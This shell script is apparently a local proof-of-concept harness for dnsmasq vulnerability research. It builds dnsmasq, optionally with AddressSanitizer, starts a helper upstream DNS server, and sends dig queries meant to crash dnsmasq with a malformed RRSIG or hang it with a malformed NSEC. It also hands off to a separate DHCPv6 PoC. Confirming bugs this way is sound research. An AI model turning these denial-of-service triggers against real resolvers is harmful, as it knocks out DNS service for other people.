#!/bin/sh
set -eu

requested_mode=${1:-dnssec2}
mode=$requested_mode
root_dir=$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd)
src_dir="$root_dir/dnsmasq"
state_dir=${STATE_DIR:-/private/tmp/dnsmasq-live-state}
upstream_port=${UPSTREAM_PORT:-5300}
dnsmasq_port=${DNSMASQ_PORT:-5353}
upstream_log="$state_dir/upstream.log"
dnsmasq_log="$state_dir/dnsmasq.log"

case "$requested_mode" in
  dnssec2-both)
    echo "=== DNS-DNSSEC-2 ASAN build ==="
    "$root_dir/live-poc/run-live-poc.sh" dnssec2-asan
    echo
    echo "=== DNS-DNSSEC-2 non-ASAN build ==="
    "$root_dir/live-poc/run-live-poc.sh" dnssec2-noasan
    exit 0
    ;;
  dnssec2|dnssec2-asan)
    mode=dnssec2
    build_kind=asan
    ;;
  dnssec2-noasan)
    mode=dnssec2
    build_kind=noasan
    ;;
  dnssec1)
    build_kind=asan
    ;;
  dhcp1)
    build_kind=none
    ;;
  *)
    echo "usage: $0 [dnssec1|dnssec2|dnssec2-asan|dnssec2-noasan|dnssec2-both|dhcp1]" >&2
    exit 2
    ;;
esac

if [ "${BUILD_DIR+x}" ]; then
  build_dir=$BUILD_DIR
elif [ "$build_kind" = "noasan" ]; then
  build_dir=/private/tmp/dnsmasq-live-build-noasan
else
  build_dir=/private/tmp/dnsmasq-live-build
fi

dnsmasq_bin=${DNSMASQ_BIN:-$build_dir/dnsmasq}

need() {
  if ! command -v "$1" >/dev/null 2>&1; then
    echo "missing required command: $1" >&2
    exit 2
  fi
}

need cc
need make
need pkg-config
need python3

mkdir -p "$build_dir" "$state_dir"

if [ "$mode" = "dhcp1" ]; then
  echo "DNS-DHCP-1 live PoC is bug-local now:"
  echo "  $root_dir/bugs/DNS-DHCP-1-dhcpv6-relay-hop-count/poc.sh"
  exec "$root_dir/bugs/DNS-DHCP-1-dhcpv6-relay-hop-count/poc.sh"
fi

need dnssec-keygen
need dig

if [ ! -x "$dnsmasq_bin" ] || [ "${REBUILD:-0}" = 1 ]; then
  if [ "$build_kind" = "noasan" ]; then
    cflags=${CFLAGS:-"-Wall -W -O2 -g"}
    ldflags=${LDFLAGS:-"-L/opt/homebrew/lib"}
  else
    cflags=${CFLAGS:-"-Wall -W -O1 -g -fsanitize=address -fno-omit-frame-pointer"}
    ldflags=${LDFLAGS:-"-fsanitize=address -L/opt/homebrew/lib"}
  fi

  echo "Building dnsmasq with HAVE_DNSSEC ($build_kind) into $build_dir"
  make -C "$src_dir" \
    BUILDDIR="$build_dir" \
    COPTS="-DHAVE_DNSSEC" \
    CFLAGS="$cflags" \
    LDFLAGS="$ldflags" \
    -j2
fi

python3 "$root_dir/live-poc/dnssec_upstream.py" --state-dir "$state_dir" --init >/dev/null
trust_anchor=$(cat "$state_dir/trust-anchor.txt")

cleanup() {
  if [ "${dnsmasq_pid:-}" ]; then
    kill "$dnsmasq_pid" >/dev/null 2>&1 || true
  fi
  if [ "${upstream_pid:-}" ]; then
    kill "$upstream_pid" >/dev/null 2>&1 || true
  fi
}
trap cleanup EXIT INT TERM

: >"$upstream_log"
: >"$dnsmasq_log"

python3 "$root_dir/live-poc/dnssec_upstream.py" \
  --state-dir "$state_dir" \
  --serve \
  --port "$upstream_port" \
  >"$upstream_log" 2>&1 &
upstream_pid=$!

sleep 0.5

ASAN_OPTIONS=${ASAN_OPTIONS:-abort_on_error=1:detect_leaks=0} \
"$dnsmasq_bin" \
  --no-daemon \
  --conf-file=/dev/null \
  --port="$dnsmasq_port" \
  --listen-address=127.0.0.1 \
  --bind-interfaces \
  --no-resolv \
  --server=127.0.0.1#"$upstream_port" \
  --dnssec \
  --dnssec-debug \
  --dnssec-no-timecheck \
  "$trust_anchor" \
  --log-queries \
  --log-debug \
  >"$dnsmasq_log" 2>&1 &
dnsmasq_pid=$!

sleep 1

echo "dnsmasq pid: $dnsmasq_pid"
echo "upstream pid: $upstream_pid"
echo "build kind: $build_kind"
echo "dnsmasq binary: $dnsmasq_bin"
echo "logs: $dnsmasq_log"
echo "trust anchor: $trust_anchor"

if ! kill -0 "$dnsmasq_pid" >/dev/null 2>&1; then
  echo "dnsmasq failed to start"
  sed -n '1,160p' "$dnsmasq_log"
  exit 1
fi

echo
echo "Prewarming root DNSKEY through dnsmasq"
dig @127.0.0.1 -p "$dnsmasq_port" . DNSKEY +dnssec +time=2 +tries=1 || true

case "$mode" in
  dnssec2)
    echo
    echo "Triggering DNS-DNSSEC-2 with malformed RRSIG over crash. A"
    dig @127.0.0.1 -p "$dnsmasq_port" crash. A +dnssec +time=2 +tries=1 || true
    sleep 1
    if kill -0 "$dnsmasq_pid" >/dev/null 2>&1; then
      echo "Bug not confirmed live: dnsmasq is still running."
    else
      echo "BUG TRIGGERED: dnsmasq exited after malformed RRSIG response."
    fi
    ;;
  dnssec1)
    echo
    echo "Triggering DNS-DNSSEC-1 with malformed signed NSEC over hang. A"
    dig @127.0.0.1 -p "$dnsmasq_port" hang. A +dnssec +time=2 +tries=1 || true
    echo
    echo "Checking whether dnsmasq still answers after hang trigger"
    dig @127.0.0.1 -p "$dnsmasq_port" . DNSKEY +dnssec +time=1 +tries=1 || true
    if kill -0 "$dnsmasq_pid" >/dev/null 2>&1; then
      echo "If the second query timed out, DNS-DNSSEC-1 likely pinned the dnsmasq event loop."
    else
      echo "dnsmasq exited during DNS-DNSSEC-1 run."
    fi
    ;;
esac

echo
echo "--- upstream log ---"
sed -n '1,120p' "$upstream_log"
echo
echo "--- dnsmasq log ---"
sed -n '1,180p' "$dnsmasq_log"
